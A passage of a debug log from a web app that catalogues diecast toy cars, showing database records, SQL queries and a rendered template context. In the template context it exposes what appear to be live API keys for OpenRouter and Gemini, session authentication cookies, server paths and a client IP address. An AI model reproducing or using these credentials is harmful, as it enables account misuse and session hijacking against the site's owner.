      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '399.00',
      brand: 'Majorette',
      series: 'Mainline',
      brand_id: 72,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 187,
      model_name: 'Ford F-150 Raptor',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '399.00',
      brand: 'Majorette',
      series: 'Mainline',
      brand_id: 72,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 186,
      model_name: 'Alfa Romeo Tonale',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-16T18:30:00.000Z',
      price: '350.00',
      brand: 'Majorette',
      series: 'Mainline',
      brand_id: 72,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Alfa Romeo',
      vehicle_brand_id: 128,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 185,
      model_name: 'Volkswagen ID Buzz Cargo',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-16T18:30:00.000Z',
      price: '350.00',
      brand: 'Majorette',
      series: 'Mainline',
      brand_id: 72,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Volkswagen',
      vehicle_brand_id: 111,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 184,
      model_name: 'Datsun 240Z',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-23T18:30:00.000Z',
      price: '350.00',
      brand: 'Majorette',
      series: 'Mainline',
      brand_id: 72,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Datsun',
      vehicle_brand_id: 186,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 183,
      model_name: 'Alpine A110 R',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-23T18:30:00.000Z',
      price: '350.00',
      brand: 'Majorette',
      series: 'Mainline',
      brand_id: 72,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Alpine',
      vehicle_brand_id: 196,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 182,
      model_name: 'Audi Q4 e-tron',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '350.00',
      brand: 'Majorette',
      series: 'Mainline',
      brand_id: 72,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Audi',
      vehicle_brand_id: 132,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 181,
      model_name: 'Renault Master',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Majorette',
      series: 'Mainline',
      brand_id: 72,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Renault',
      vehicle_brand_id: 109,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 180,
      model_name: 'Mercedes-Benz G 500',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Castheads Gift Set',
      brand_id: 72,
      series_id: 195,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 179,
      model_name: 'Mercedes-Benz 190 E 2.5-16 EVO II',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Castheads Gift Set',
      brand_id: 72,
      series_id: 195,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 178,
      model_name: 'Land Rover Defender 90',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Castheads Gift Set',
      brand_id: 72,
      series_id: 195,
      case: '',
      vehicle_brand_name: 'Land Rover',
      vehicle_brand_id: 117,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 177,
      model_name: 'Ford Bronco Wildtrak',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Castheads Gift Set',
      brand_id: 72,
      series_id: 195,
      case: '',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 176,
      model_name: 'Ford Mustang Fastback',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Castheads Gift Set',
      brand_id: 72,
      series_id: 195,
      case: '',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 175,
      model_name: 'Mercedes-AMG CLE 53 ',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Mercedes AMG Gift Set',
      brand_id: 72,
      series_id: 194,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 174,
      model_name: 'Mercedes-AMG GLC 63 S',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Mercedes AMG Gift Set',
      brand_id: 72,
      series_id: 194,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 173,
      model_name: 'Mercedes-AMG A 35',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Mercedes AMG Gift Set',
      brand_id: 72,
      series_id: 194,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 172,
      model_name: 'Mercedes-AMG SL 63',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Mercedes AMG Gift Set',
      brand_id: 72,
      series_id: 194,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 171,
      model_name: 'Mercedes-AMG GT 63',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Mercedes AMG Gift Set',
      brand_id: 72,
      series_id: 194,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 165,
      model_name: 'GMC Hummer EV',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Black Edition Gift Set',
      brand_id: 72,
      series_id: 193,
      case: '',
      vehicle_brand_name: 'GMC',
      vehicle_brand_id: 140,
      condition: 'Uncarded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 164,
      model_name: 'Land Rover Defender 90',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Black Edition Gift Set',
      brand_id: 72,
      series_id: 193,
      case: '',
      vehicle_brand_name: 'Land Rover',
      vehicle_brand_id: 117,
      condition: 'Uncarded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 163,
      model_name: 'Toyota GR Supra',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Black Edition Gift Set',
      brand_id: 72,
      series_id: 193,
      case: '',
      vehicle_brand_name: 'Toyota',
      vehicle_brand_id: 119,
      condition: 'Uncarded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 162,
      model_name: 'Lamborghini Sián FKP 37',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Black Edition Gift Set',
      brand_id: 72,
      series_id: 193,
      case: '',
      vehicle_brand_name: 'Lamborghini',
      vehicle_brand_id: 115,
      condition: 'Uncarded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 161,
      model_name: 'Bugatti Chiron Pur Sport',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Black Edition Gift Set',
      brand_id: 72,
      series_id: 193,
      case: '',
      vehicle_brand_name: 'Bugatti',
      vehicle_brand_id: 129,
      condition: 'Uncarded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    }
  ]
}
2026-06-29T05:33:32.225Z server-connect:output series: [
  { id: 92, name: 'Fantasy' },
  { id: 99, name: 'HW 70s vs 90s' },
  { id: 105, name: 'HW Art Cars' },
  { id: 161, name: 'HW Batman' },
  { id: 98, name: 'HW Celebration Racers' },
  { id: 149, name: 'HW Compact Kings' },
  { id: 94, name: 'HW Dirt' },
  { id: 179, name: 'HW Euro' },
  { id: 107, name: 'HW EV' },
  { id: 170, name: 'HW Exotics' },
  { id: 166, name: 'HW Experimotors' },
  { id: 145, name: 'HW Factory Fresh' },
  { id: 159, name: 'HW Fan Driver' },
  { id: 97, name: 'HW Hot Trucks' },
  { id: 165, name: 'HW Metro' },
  { id: 103, name: 'HW Modified' },
  { id: 96, name: 'HW Muscle Mania' },
  { id: 147, name: 'HW Mustang 60th' },
  { id: 164, name: 'HW Nightspeed' },
  { id: 180, name: 'HW Pantone' },
  { id: 106, name: 'HW Peak Pursuit' },
  { id: 181, name: 'HW Pop Culture' },
  { id: 95, name: 'HW Race day' },
  { id: 150, name: 'HW Reverse Rake' },
  { id: 178, name: 'HW Ride-Ons' },
  { id: 151, name: 'HW Rod Squad' },
  { id: 144, name: 'HW Safari Mode' },
  { id: 176, name: 'HW Silver Series' },
  { id: 163, name: 'HW Starting Grid' },
  { id: 101, name: 'HW Then and now' },
  { id: 146, name: 'HW Track Aces' },
  { id: 100, name: 'HW Track Champs' },
  { id: 160, name: "HW Truckin' Along" },
  { id: 102, name: 'HW Wagons' },
  { id: 104, name: 'HW Wide Widebody' },
  { id: 148, name: 'HW Wild Widebody' },
  { id: 75, name: 'Mainline' },
  { id: 193, name: 'Majorette Black Edition Gift Set' },
  { id: 195, name: 'Majorette Castheads Gift Set' },
  { id: 171, name: 'Majorette Dream Italy Gift Set' },
  { id: 172, name: 'Majorette Light Racer Gift Set' },
  { id: 174, name: 'Majorette Limited Edition 9 Gift Set' },
  { id: 194, name: 'Majorette Mercedes AMG Gift Set' },
  { id: 173, name: 'Majorette Porsche Edition Gift Set' },
  { id: 83, name: 'Moving Parts' },
  { id: 162, name: 'Neon Speeders - Mix 2' }
]
2026-06-29T05:33:32.226Z server-connect:app Executing action step select
2026-06-29T05:33:32.226Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select distinct `collections`.`id`, `collections`.`name` from `diecast_cars` inner join `collections` on `collections`.`id` = `diecast_cars`.`brand_id` order by `collections`.`name` ASC',
    orders: [ [Object] ],
    distinct: true
  }
}
2026-06-29T05:33:32.227Z server-connect:output manufacturer: [
  { id: 74, name: 'Bburago' },
  { id: 158, name: 'CCA' },
  { id: 71, name: 'Hotwheels' },
  { id: 191, name: 'Jams Toys' },
  { id: 72, name: 'Majorette' },
  { id: 73, name: 'Matchbox' }
]
2026-06-29T05:33:36.723Z server-connect:router Serving templateView /diecast-worksheet
2026-06-29T05:33:36.723Z server-connect:app Executing action step identify
2026-06-29T05:33:36.723Z server-connect:app options: { provider: 'security' }
2026-06-29T05:33:36.723Z server-connect:output identity: 1
2026-06-29T05:33:36.723Z server-connect:app Executing action step restrict
2026-06-29T05:33:36.723Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-06-29T05:33:36.724Z server-connect:output restrict: undefined
2026-06-29T05:33:36.724Z server-connect:router Render template diecast-worksheet
2026-06-29T05:33:36.724Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': { fragment: 'true' },
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua-platform': '"Windows"',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/149.0.0.0 Safari/537.36',
    accept: 'text/fragment+html',
    'sec-ch-ua': '"Google Chrome";v="149", "Chromium";v="149", "Not)A;Brand";v="24"',
    'sec-ch-ua-mobile': '?0',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'cors',
    'sec-fetch-dest': 'empty',
    referer: 'https://ems.sanjaychaurasia.xyz/diecast-worksheet',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    priority: 'u=1, i',
    cookie: 'security.auth=s%3ANufKQ0CPvBeDe3txwHvDLQ%3D%3D.Gu%2FVcoB03%2Flpdw8SyLZrhQ4wrnUaIZTx3eyS45mZBOyQ4TWFX29eur4xP0r0hMqSFeC%2FPNZG5eXhcOF7AZOIYRIa04xDQh3LVjXZwVdo8KQ%2Br6Wk3hC%2BgjwuGdfIuqCTOdTlE47ZstcMcnME97ne%2BEMeXyY%2B4FUGJQ7%2B5kq36U0%3D.nKgrVEvpCrhRjT14phKy0swu79DaNgUtKcB%2FpQhAF3Y; your_r_git.sid=s%3AUx_q90yQtsZQqvYGB_a74KNGw1jXwta9.N6ksK8BJvYa90nCjy%2FZKvbtP3W2iIjgjzq8PLFQQlXg',
    'x-forwarded-for': '65.20.70.39',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-06-30T05:31:54.469Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/diecast-worksheet',
    QUERY_STRING: 'fragment=true',
    REMOTE_ADDR: '65.20.70.39',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/diecast-worksheet',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA-PLATFORM': '"Windows"',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/149.0.0.0 Safari/537.36',
    HTTP_ACCEPT: 'text/fragment+html',
    'HTTP_SEC_CH-UA': '"Google Chrome";v="149", "Chromium";v="149", "Not)A;Brand";v="24"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'cors',
    'HTTP_SEC_FETCH-DEST': 'empty',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/diecast-worksheet',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    HTTP_PRIORITY: 'u=1, i',
    HTTP_COOKIE: 'security.auth=s%3ANufKQ0CPvBeDe3txwHvDLQ%3D%3D.Gu%2FVcoB03%2Flpdw8SyLZrhQ4wrnUaIZTx3eyS45mZBOyQ4TWFX29eur4xP0r0hMqSFeC%2FPNZG5eXhcOF7AZOIYRIa04xDQh3LVjXZwVdo8KQ%2Br6Wk3hC%2BgjwuGdfIuqCTOdTlE47ZstcMcnME97ne%2BEMeXyY%2B4FUGJQ7%2B5kq36U0%3D.nKgrVEvpCrhRjT14phKy0swu79DaNgUtKcB%2FpQhAF3Y; your_r_git.sid=s%3AUx_q90yQtsZQqvYGB_a74KNGw1jXwta9.N6ksK8BJvYa90nCjy%2FZKvbtP3W2iIjgjzq8PLFQQlXg',
    'HTTP_X_FORWARDED-FOR': '65.20.70.39',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1
}
2026-06-29T05:33:36.991Z server-connect:router Serving serverConnect /api/diecast/get-filters
2026-06-29T05:33:36.991Z server-connect:router Serving serverConnect /api/masters/collections/list
2026-06-29T05:33:36.991Z server-connect:router Serving serverConnect /api/masters/collections/list
2026-06-29T05:33:36.991Z server-connect:router Serving serverConnect /api/diecast/list
2026-06-29T05:33:36.992Z server-connect:router Serving serverConnect /api/masters/collections/list
2026-06-29T05:33:36.992Z server-connect:app Executing action step identify
2026-06-29T05:33:36.993Z server-connect:app options: { provider: 'security' }
2026-06-29T05:33:36.993Z server-connect:output identity: 1
2026-06-29T05:33:36.993Z server-connect:app Executing action step restrict
2026-06-29T05:33:36.993Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-06-29T05:33:36.993Z server-connect:app Executing action step identify
2026-06-29T05:33:36.993Z server-connect:app options: { provider: 'security' }
2026-06-29T05:33:36.993Z server-connect:output identity: 1
2026-06-29T05:33:36.993Z server-connect:app Executing action step restrict
2026-06-29T05:33:36.993Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-06-29T05:33:36.994Z server-connect:app Executing action step identify
2026-06-29T05:33:36.994Z server-connect:app options: { provider: 'security' }
2026-06-29T05:33:36.994Z server-connect:output identity: 1
2026-06-29T05:33:36.994Z server-connect:app Executing action step restrict
2026-06-29T05:33:36.994Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-06-29T05:33:36.994Z server-connect:app Executing action step identify
2026-06-29T05:33:36.994Z server-connect:app options: { provider: 'security' }
2026-06-29T05:33:36.994Z server-connect:output identity: 1
2026-06-29T05:33:36.994Z server-connect:app Executing action step restrict
2026-06-29T05:33:36.994Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-06-29T05:33:36.995Z server-connect:output restrict: undefined
2026-06-29T05:33:36.995Z server-connect:app Executing action step select
2026-06-29T05:33:36.995Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select distinct `collections`.`id`, `collections`.`name` from `diecast_cars` inner join `collections` on `collections`.`id` = `diecast_cars`.`vehicle_brand_id` order by `collections`.`name` ASC',
    orders: [ [Object] ],
    distinct: true
  }
}
2026-06-29T05:33:36.995Z server-connect:output restrict: undefined
2026-06-29T05:33:36.995Z server-connect:app Executing action step select
2026-06-29T05:33:36.995Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `name`, `id` from `collections` where `collections`.`collectiontype_id` = ?'
  }
}
2026-06-29T05:33:36.996Z server-connect:output restrict: undefined
2026-06-29T05:33:36.996Z server-connect:app Executing action step select
2026-06-29T05:33:36.996Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `name`, `id` from `collections` where `collections`.`collectiontype_id` = ?'
  }
}
2026-06-29T05:33:36.996Z server-connect:app Executing action step identify
2026-06-29T05:33:36.996Z server-connect:app options: { provider: 'security' }
2026-06-29T05:33:36.997Z server-connect:output identity: 1
2026-06-29T05:33:36.997Z server-connect:app Executing action step restrict
2026-06-29T05:33:36.997Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-06-29T05:33:36.997Z server-connect:output brand: [
  { id: 128, name: 'Alfa Romeo' },
  { id: 196, name: 'Alpine' },
  { id: 132, name: 'Audi' },
  { id: 136, name: 'Austin' },
  { id: 125, name: 'Bentley' },
  { id: 126, name: 'BMW' },
  { id: 129, name: 'Bugatti' },
  { id: 169, name: 'Cadillac' },
  { id: 118, name: 'Chevrolet' },
  { id: 152, name: 'Corvette ' },
  { id: 135, name: 'Czinger' },
  { id: 186, name: 'Datsun' },
  { id: 127, name: 'Dodge' },
  { id: 142, name: 'Fantasy' },
  { id: 124, name: 'Ferrari' },
  { id: 108, name: 'Ford' },
  { id: 139, name: 'Formula' },
  { id: 140, name: 'GMC' },
  { id: 138, name: 'Gordon Murray' },
  { id: 112, name: 'Honda' },
  { id: 133, name: 'Jaguar' },
  { id: 122, name: 'Jeep' },
  { id: 115, name: 'Lamborghini' },
  { id: 117, name: 'Land Rover' },
  { id: 197, name: 'Lexus' },
  { id: 185, name: 'Lotus' },
  { id: 184, name: 'Lucid' },
  { id: 157, name: 'Masserti' },
  { id: 137, name: 'Mazda' },
  { id: 155, name: 'MBX' },
  { id: 114, name: 'McLaren' },
  { id: 167, name: 'Mcmurtry' },
  { id: 113, name: 'Mercedes' },
  { id: 116, name: 'Nissan' },
  { id: 168, name: 'Pagani' },
  { id: 121, name: 'Peugeot' },
  { id: 192, name: 'Pierce' },
  { id: 190, name: 'Plymouth' },
  { id: 154, name: 'Polaris ' },
  { id: 134, name: 'Pontiac' },
  { id: 130, name: 'Porsche' },
  { id: 189, name: 'RAM' },
  { id: 109, name: 'Renault' },
  { id: 131, name: 'Scania' },
  { id: 183, name: 'Spider Man' },
  { id: 153, name: 'Subaru' },
  { id: 175, name: 'Suzuki' },
  { id: 119, name: 'Toyota' },
  { id: 111, name: 'Volkswagen' },
  { id: 123, name: 'Volvo' }
]
2026-06-29T05:33:36.997Z server-connect:app Executing action step select
2026-06-29T05:33:36.997Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select distinct `collections`.`id`, `collections`.`name` from `diecast_cars` inner join `collections` on `collections`.`id` = `diecast_cars`.`series` order by `collections`.`name` ASC',
    orders: [ [Object] ],
    distinct: true
  }
}
2026-06-29T05:33:36.998Z server-connect:output list: [
  { name: 'Hotwheels', id: 71 },
  { name: 'Majorette', id: 72 },
  { name: 'Matchbox', id: 73 },
  { name: 'Bburago', id: 74 },
  { name: 'Maisto', id: 143 },
  { name: 'CCA', id: 158 },
  { name: 'Jams Toys', id: 191 }
]
2026-06-29T05:33:36.999Z server-connect:output restrict: undefined
2026-06-29T05:33:36.999Z server-connect:app Executing action step paged
2026-06-29T05:33:36.999Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [
      [Object], [Object], [Object],
      [Object], [Object], [Object],
      [Object], [Object], [Object],
      [Object], [Object], [Object],
      [Object], [Object], [Object],
      [Object], [Object], [Object],
      [Object]
    ],
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object]
    ],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object], [Object], [Object] ],
    sub: { diecast_images: [Object] },
    query: 'select `diecast_cars`.`id`, `diecast_cars`.`model_name`, `diecast_cars`.`release_year`, `diecast_cars`.`scale`, `diecast_cars`.`has_real_car`, `diecast_cars`.`purchase_date`, `diecast_cars`.`price`, `c1`.`name` as `brand`, `c2`.`name` as `series`, `diecast_cars`.`brand_id`, `diecast_cars`.`series` as `series_id`, `diecast_cars`.`case`, `c3`.`name` as `vehicle_brand_name`, `diecast_cars`.`vehicle_brand_id`, `diecast_cars`.`condition`, `diecast_cars`.`yt_short_created`, `diecast_cars`.`yt_video_created`, `diecast_cars`.`photoshoot`, `diecast_cars`.`overview_created` from `diecast_cars` left join `collections` as `c1` on `c1`.`id` = `diecast_cars`.`brand_id` left join `collections` as `c2` on `c2`.`id` = `diecast_cars`.`series` left join `collections` as `c3` on `c3`.`id` = `diecast_cars`.`vehicle_brand_id` where (`diecast_cars`.`model_name` like ? or `diecast_cars`.`release_year` = ? or `c1`.`name` like ? or `c2`.`name` like ?) and (`diecast_cars`.`brand_id` = ?) and (`diecast_cars`.`series` = ?) and (`diecast_cars`.`vehicle_brand_id` = ?) and (`diecast_cars`.`condition` = ?) and (`diecast_cars`.`yt_short_created` = ?) and (`diecast_cars`.`yt_video_created` = ?) and (`diecast_cars`.`photoshoot` = ?) and (`diecast_cars`.`overview_created` = ?) order by `diecast_cars`.`id` DESC',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    orders: [ [Object] ]
  }
}
2026-06-29T05:33:37.001Z server-connect:output series: [
  { id: 92, name: 'Fantasy' },
  { id: 99, name: 'HW 70s vs 90s' },
